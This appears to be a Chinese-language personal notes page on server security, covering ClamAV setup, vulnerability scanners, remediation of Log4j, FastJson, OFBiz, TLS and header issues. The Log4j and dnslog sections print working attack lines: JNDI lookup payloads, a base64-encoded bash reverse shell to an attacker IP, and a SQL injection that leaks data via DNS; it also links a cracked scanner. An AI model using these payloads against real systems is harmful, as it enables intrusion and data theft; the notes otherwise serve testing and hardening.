介绍
- 网络安全相关名词介绍tech-conception.md#安全
- 网络安全相关网站
常用解决方法
1 | # 病毒文件一般为/tmp目录的影藏文件(最后需要删除病毒文件,一般可根据此病毒文件名查找对应病毒) |
查杀毒工具
- Linux杀毒软件 https://ywnz.com/linuxaq/5061.html
- 安全测试工具 https://blog.csdn.net/lb245557472/article/details/88572607
- 安全测试工具 https://www.freebuf.com/sectool/194269.html
fscan内网综合扫描工具
- fscan
./fscan.exe -h 192.168.1.10
- 扫描OFBiz-13.7漏洞两个:CVE-2018-8033、CVE-2020-9496
- 支持xray的poc
- xray
./xray_windows_amd64 webscan --basic-crawler http://localhost:8080/ --html-output xray-crawler-testphp.html
- 第一次允许会失败(因为缺少配置文件,并会自动生成,重新运行即可)
- 如基于爬虫扫描OFBiz-13.7漏洞两个:CVE-2018-8033、CVE-2020-9496
- 支持自定义poc,内置819种poc文件
- acunetix(AWVS)
- 破解版参考:https://www.ddosi.org/category/awvs/
- 偏向静态资源,http参数等
- PocSuite
- 需针对某个病毒编写POC文件,较麻烦,非一键探测
- clair
- 本地Docker镜像安全分析
ClamAV文件查毒(linux)
ClamAV
是Linux平台上领先的开源命令行病毒扫描程序,占用内存和CPU并不高。支持Linux/Windows/Mac等多平台- 官网、Doc
- ClamAV包含clamscan命令(开销大,适合一次性扫描)、clamd服务(会启动守护进程,开销小,适合不定时响应客户端文件扫描请求)、freshclam(病毒库更新工具)等
nuclei自定义漏洞扫描器
- nuclei:Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器,使用Go语言开发
- 使用参考:https://blog.csdn.net/asaotomo/article/details/122395708
安装使用(v0.102.2-3)
- 安装使用 ^3
1 | ## 安装 |
- clamd服务使用(可选)
1 | # 修改配置。/etc/clamd.d/scan.conf 即为其他网络教程说的 clamd.conf |
- 启用freshclam自动更新病毒库(可选)
1 | # 方法一 |
- 周期自动扫描服务器(可选)
1 | # 每天11点进行文件扫描 |
相关命令
1 | # 参考:https://www.cnblogs.com/sztom/p/13222917.html |
ClamAV与业务系统整合(查杀上传的文件)
- 整合路程图 ^4
- java的ClamAV杀毒引擎服务器可以基于clamav-rest实现
关于病毒库测试
- 病毒库说明 ^1
1 | # 进入病毒库目录,病毒库文件:main.cvd、daily.cvd、bytecode.cvd |
- 构造属于自己的恶意软件特征库(未测试成功)
1 | echo 123 > test.sh |
其他用法
- jenkins插件,可检查代码是否含有病毒:https://plugins.jenkins.io/clamav/
攻击工具
- BurpSuite 用于攻击web 应用程序的集成平台,收费
- ysoserial JAVA反序列化工具
dnslog
- dnslog DNS解析回显工具
使用方法
- 访问
http://www.dnslog.cn/
,点击Get SubDomain
获取一个临时域名(如: wmmdmx.dnslog.cn) - 使目标服务器访问 wmmdmx.dnslog.cn 或 xxx.wmmdmx.dnslog.cn 或 xxx.wmmdmx.dnslog.cn/xxx
- 然后回到dnslog,点击
Refresh Record
,如果有记录(如: wmmdmx.dnslog.cn或者xxx.wmmdmx.dnslog.cn)说明进行了DNS解析(一个域名只能检测一次,长时间执行需要重新获取域名)
- 访问
- 说明
- 第2步一般为利用漏洞让程序进行DNS解析, 如下文Log4j漏洞
- 对临时域名访问任意子子域名(如xxx)均可, 但是整个不能超过域名长度限制(子域最多63个字符, 域名最多127个字符, 完整域名最长253个字符), 并且不包含特殊符号, 否则会导致DNS查询失败
- 案例
- 如用于快速验证Apache-Log4j漏洞, 参考下文
- SQL注入回显数据
- 如sqli-labs第九关访问
http://192.168.1.100/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select database()),'.wmmdmx.dnslog.cn/test')))--+
进行当前数据库名称回显 - 最终会把当前使用的数据库security回显到dnslog解析记录中(security.wmmdmx.dnslog.cn), 从而可多次操作数据库进行数据回显
- 参考: https://www.cnblogs.com/CVE-Lemon/p/17806229.html
- 如sqli-labs第九关访问
interactsh
- github
- 在线Web UI 可以查看该服务的线上托管实例
- Interactsh是一款功能强大的代码数据提取开源解决方案,该工具可以收集和分析服务器端和客户端代码,并检测能够实现外部交互的安全漏洞,比如说SQL盲注、CMD盲注和SSRF等漏洞
测试靶场
- Vulhub
- Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境
- vulfocus
- Vulfocus 是一个漏洞集成平台,将漏洞环境 docker 镜像,放入即可使用。支持在线使用
常见漏洞或攻击
CSRF和XSS
OOB
- 阿里云会发送告警: 请求带外攻击(OOB)域名
数据库安全
SQL注入
数据库常见安全配置及使用
Mysql
- 禁用load_file(可以访问网络路径和本次磁盘文件). 参考上文: SQL注入回显数据
1 | # 查看load_file开启状态: secure_file_priv参数值 |
高危漏洞
CVE-2021-44228(Apache-Log4j漏洞)
- 重要
- 找到程序会打印的代码入口,输入恶意代码(指定LDAP服务器不存在的资源)
- log4j如果出现
${}
则会对里面的属性进行解析 - log4j的使用的JNDI会自动进行动态协议转换(假设初始化的是
rmi://
远程地址,当用户输入jndi:ldap://
会自动转成ldap协议进行资源查找) - 在解析属性的时候,会自动访问ldap服务并下载(假设此服务对应地址为攻击者假设的服务器,就会自动下载攻击者提前放好的资源,如可执行class文件)
系统下载到class文件资源后会自动加载,从而会自动执行攻击者提前写好的static中的代码
- 假设此class资源是一个引用
new Reference("refClassName","insClassName","http://ip:port/");
- 会现在本地查找此class,没有的话就会通过file/ftp/http等协议下载
- 假设此class资源是一个引用
- 受影响版本
- 使用了log4j的组件,< Apache Log4j 2.12.2 (JDK7) 或 < Apache Log4j 2.16.0 (JDK8)
- 漏洞复现参考
- 漏洞复现(简单检测)
- 访问
http://www.dnslog.cn/
,点击Get SubDomain
获取一个临时域名(如: wmmdmx.dnslog.cn) - 漏洞主要是要让Log4j打印攻击者输入的内容,假设网站登录会打印用户名
- 此时登录用户名输入
${jndi:ldap://wmmdmx.dnslog.cn}
- 然后回到dnslog,点击
Refresh Record
,如果有记录说明存在漏洞(一个域名只能检测一次,长时间执行需要重新获取域名)
- 访问
- 漏洞复现(打开本地计算器)
- 在VPS上执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 10.10.10.10
- 此VPS攻击者自己的外网服务器,假设外网IP为10.10.10.10
calc.exe
为攻击者在被攻击服务器上执行的打开计算器命令,如果是mac则为/System/Applications/Calculator.app
- 参考JNDI注入测试工具 JNDI-Injection-Exploit
- 此时登录用户名输入如
${jndi:ldap://10.10.10.10:1389/sddydl}
后提交(具体命令根据上述jar打印的来执行,分JDK7/JDK8)
- 在VPS上执行
- 漏洞复现(反弹shell)
- 反弹shell介绍
- 法一(如攻击者使用的linux)
- 启动监听
nc -l 9091
(反弹shell会显示在此命令行) - 将反弹shell命令进行base64加密
bash -i >& /dev/tcp/10.10.10.10/9091 0>&1
,得到如YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC85MDkxIDA+JjE=
- 执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC85MDkxIDA+JjE=}|{base64,-d}|{bash,-i}" -A 10.10.10.10
- 然后登录用户名输入如
${jndi:ldap://10.10.10.10:1389/sm0syp}
后提交 - 此时nc监控命令行会显示被攻击服务器shell
- 启动监听
- 法二(如攻击者使用windows): 参考https://github.com/bkfish/Apache-Log4j-Learning/tree/main
- 需修改ExecTemplateJDK7.java中的端口为VPS端口
- 其中
python3 -m http.server 9092
需在ExecTemplateJDK7.class
目录执行,相当于启动一个简单服务器 - 然后通过marshalsec-0.0.3-SNAPSHOT-all.jar启动JNDI服务
- 漏洞修复
- 升级到Apache Log4j 2.12.2 (JDK7) 或 Apache Log4j 2.16.0 (JDK8)
CVE-2022-25845(FastJson代码执行漏洞)
- 参考链接:https://github.com/alibaba/fastjson/wiki/security_update_20220523
- 漏洞复现:https://www.jianshu.com/p/d4702da8b93e
- 思考:POC案例中,反序列化的类必须执行
Runtime.getRuntime().exec
这一段,如果代码中没有类似代码呢
- 思考:POC案例中,反序列化的类必须执行
- 解决方法:升级到v1.2.83或v2
CVE-2024-36104(OFBiz路径遍历致权限绕过)
- 参考链接
- 问题披露 https://avd.aliyun.com/detail?id=AVD-2024-36104
- 问题issues https://issues.apache.org/jira/browse/OFBIZ-13092
- 漏洞复现 https://mp.weixin.qq.com/s/tsG1wbKqGs_yyzQhJr6ZLw
- 问题提交补丁 https://github.com/apache/ofbiz-framework/commit/d33ce31012c97056f6e755261905e0950c96489d
- 类似漏洞CVE-2024-25065 https://xz.aliyun.com/t/14017
- jira文档说明
- 漏洞复现说明:直接使用postman测试(或者使用nuclei)
1 | # ProgramExport为之后版本新加的接口路径(功能是基于参数执行groovy脚本),13.7没有 |
- 解决说明参考上文,如13.7版本可直接手动增加补丁
1 | // ContextFilter.java |
使用TLS1.0和1.1版本
- 解决方法: 仅开启TLSv1.2版
1 | server { |
Http头Hostname攻击
- 通过Postman即可复现
- 解决方法参考:https://blog.csdn.net/doulicau/article/details/106685476
- nginx解决方案
1 | # 方法一(如果启用了https,则配置一下80到443的重定向,并去掉此处80的配置) |
中危漏洞
SSL/TLS协议信息泄露漏洞CVE-2016-2183
- 参考: https://segmentfault.com/a/1190000038486901
- 解决方法: nginx配置ssl_ciphers增加
!3DES
表示关掉此脆弱算法,如ssl_ciphers HIGH:!aNULL:!MD5:!3DES;
低危漏洞
不安全链接 (target=”_blank”)
- 参考: https://zhuanlan.zhihu.com/p/53132574
- 修复方法: 将
<a href="https://example.com" target="_blank">链接</a>
改成<a href="https://example.com" target="_blank" rel="noopener noreferrer nofollow">链接</a>
,即增加属性rel="noopener noreferrer nofollow"
- 注意上面几个属性的意义
noopener
: 防止新页面获取当前页面的window.opener属性,防止新页面通过window.opener来控制当前页面noreferrer
: 防止新页面获取当前页面的Referer信息。如不会发送请求头Origin属性,如果部分场景需要校验Origin来源,则应该去掉此属性防止Origin等信息丢失nofollow
: 防止搜索引擎爬虫爬取该链接
cookie未设置Secure标识
- Cookie中有一个Secure标识,如果设置了,那么这个cookie只会再https下被发送出去,https的传输时加密的,减少敏感cookie再http明文传输时泄露的可能性
- 如
JSESSIONID
等信息应该设置,如果没有敏感信息则风险会降低 - 修复方法: https://www.cnblogs.com/kelelipeng/p/15817128.html
- 拦截器方案貌似有点问题,建议使用配置
- web.xml配置方案
1 | <!-- 响应体如 Set-Cookie: JSESSIONID=E5D13A2C8A5C951E22BC409C6114E5B5.jvm1; Path=/home/demo/; Secure; HttpOnly --> |
带自动完成的密码字段
- 解决办法
1 | `autocomplete`值可以在两个不同的位置进行配置。 |
可直接访问文档文件
- 如可访问
https://example.com/lib/README.md
- 修复方法
1 | # 静止访问文件后缀 |
信息漏洞
参考文章